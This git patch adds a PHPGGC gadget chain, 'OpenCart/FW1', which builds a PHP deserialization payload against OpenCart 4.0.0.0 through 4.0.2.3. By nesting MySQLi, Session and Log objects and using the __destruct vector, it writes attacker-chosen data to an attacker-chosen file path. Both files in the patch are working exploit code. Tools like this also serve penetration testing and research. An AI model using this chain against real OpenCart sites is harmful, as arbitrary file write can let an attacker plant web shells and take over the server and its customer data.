From 208139b115796d7d910ff626b8be33cc5e8f2c1e Mon Sep 17 00:00:00 2001
From: mcdruid <drew@mcdruid.co.uk>
Date: Mon, 25 Nov 2024 20:30:48 +0000
Subject: [PATCH] OpenCart/FW1

---
 gadgetchains/OpenCart/FW/1/chain.php   | 23 ++++++++++++++++
 gadgetchains/OpenCart/FW/1/gadgets.php | 38 ++++++++++++++++++++++++++
 2 files changed, 61 insertions(+)
 create mode 100644 gadgetchains/OpenCart/FW/1/chain.php
 create mode 100644 gadgetchains/OpenCart/FW/1/gadgets.php

diff --git a/gadgetchains/OpenCart/FW/1/chain.php b/gadgetchains/OpenCart/FW/1/chain.php
new file mode 100644
index 0000000..3e43c7d
--- /dev/null
+++ b/gadgetchains/OpenCart/FW/1/chain.php
@@ -0,0 +1,23 @@
+<?php
+
+namespace GadgetChain\OpenCart;
+
+class FW1 extends \PHPGGC\GadgetChain\FileWrite
+{
+    public static $version = '4.0.0.0 <= 4.0.2.3+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+
+    public function generate(array $parameters)
+    {
+        $path = $parameters['remote_path'];
+        $data = $parameters['data'];
+
+        return new \Opencart\System\Library\DB\MySQLi(
+            new \Opencart\System\Library\Session(
+                new \Opencart\System\Library\Log($path),
+                $data
+            )
+        );
+    }
+}
\ No newline at end of file
diff --git a/gadgetchains/OpenCart/FW/1/gadgets.php b/gadgetchains/OpenCart/FW/1/gadgets.php
new file mode 100644
index 0000000..0febd18
--- /dev/null
+++ b/gadgetchains/OpenCart/FW/1/gadgets.php
@@ -0,0 +1,38 @@
+<?php
+
+namespace Opencart\System\Library\DB
+{
+    class MySQLi
+    {
+        private object|null $connection;
+        
+        function __construct($connection)
+        {
+            $this->connection = $connection;
+        }
+    }
+}
+
+namespace Opencart\System\Library
+{
+    class Session
+    {
+        protected object $adaptor;
+        protected string $session_id;
+        
+        public function __construct($adaptor, $session_id)
+        {
+            $this->adaptor = $adaptor;
+            $this->session_id = $session_id;
+        }
+    }
+
+    class Log
+    {
+        private string $file;
+
+        public function __construct($file) {
+            $this->file = $file;
+        }
+    }
+}